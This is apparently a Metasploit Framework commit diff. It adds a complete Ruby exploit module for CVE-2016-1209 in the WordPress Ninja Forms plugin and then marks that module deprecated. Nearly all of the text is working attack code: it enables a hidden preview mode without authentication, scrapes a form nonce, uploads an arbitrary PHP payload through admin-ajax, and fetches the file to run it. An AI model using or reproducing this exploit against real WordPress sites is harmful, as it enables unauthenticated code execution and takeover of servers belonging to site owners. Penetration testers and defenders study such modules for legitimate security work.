Land #7549, Deprecate/move wp_ninja_forms_unauthenticated_file_upload
commit
4f323527c9
|
@ -0,0 +1,176 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://www.metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
||||||
|
'Description' => %(
|
||||||
|
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
||||||
|
an unauthenticated file upload vulnerability, allowing guests
|
||||||
|
to upload arbitrary PHP code that can be executed in the context
|
||||||
|
of the web server.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'James Golovich', # Discovery and disclosure
|
||||||
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2016-1209'],
|
||||||
|
['WPVDB', '8485'],
|
||||||
|
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'May 04 2016',
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [['ninja-forms', {}]],
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
||||||
|
register_options(opts, self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_status(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_good(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def print_error(msg='')
|
||||||
|
super("#{peer} - #{msg}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
||||||
|
end
|
||||||
|
|
||||||
|
def enable_v3_functionality
|
||||||
|
print_status 'Enabling vulnerable V3 functionality...'
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => target_uri.path,
|
||||||
|
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
if res
|
||||||
|
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_good 'Enabled V3 functionality'
|
||||||
|
end
|
||||||
|
|
||||||
|
def disable_v3_functionality
|
||||||
|
print_status 'Disabling vulnerable V3 functionality...'
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => target_uri.path,
|
||||||
|
'vars_get' => { 'nf-switcher' => 'rollback' }
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
vprint_good 'Disabled V3 functionality'
|
||||||
|
elsif !res
|
||||||
|
print_error('Connection timed out while disabling V3 functionality')
|
||||||
|
else
|
||||||
|
print_error 'Failed to disable the vulnerable V3 functionality'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_mime_message(payload_name, nonce)
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
||||||
|
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
||||||
|
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def fetch_ninja_form_nonce
|
||||||
|
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri
|
||||||
|
)
|
||||||
|
|
||||||
|
unless res && res.code == 200
|
||||||
|
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
form_wpnonce = res.get_hidden_inputs.first
|
||||||
|
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
||||||
|
|
||||||
|
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
||||||
|
|
||||||
|
unless nonce
|
||||||
|
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
||||||
|
end
|
||||||
|
|
||||||
|
nonce
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_payload(data)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => wordpress_url_admin_ajax,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'data' => data.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||||
|
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_payload(payload_name, payload_url)
|
||||||
|
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
||||||
|
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
||||||
|
|
||||||
|
if !res.nil? && res.code == 404
|
||||||
|
print_error("Failed to upload the payload")
|
||||||
|
else
|
||||||
|
print_good("Executed payload")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# Vulnerable code is only available in the version 3 preview mode, which can be
|
||||||
|
# enabled by unauthenticated users due to lack of user level validation.
|
||||||
|
enable_v3_functionality
|
||||||
|
|
||||||
|
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
||||||
|
# page that contains a form generated by Ninja Forms.
|
||||||
|
nonce = fetch_ninja_form_nonce
|
||||||
|
|
||||||
|
print_status("Preparing payload...")
|
||||||
|
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
||||||
|
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
||||||
|
data = generate_mime_message(payload_name, nonce)
|
||||||
|
|
||||||
|
print_status("Uploading payload to #{payload_url}")
|
||||||
|
upload_payload(data)
|
||||||
|
|
||||||
|
print_status("Executing the payload...")
|
||||||
|
execute_payload(payload_name, payload_url)
|
||||||
|
|
||||||
|
# Once the payload has been executed, we can disable the preview functionality again.
|
||||||
|
disable_v3_functionality
|
||||||
|
end
|
||||||
|
end
|
|
@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
include Msf::Exploit::FileDropper
|
include Msf::Exploit::FileDropper
|
||||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
|
||||||
|
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(
|
super(update_info(
|
||||||
|
|
Loading…
Reference in New Issue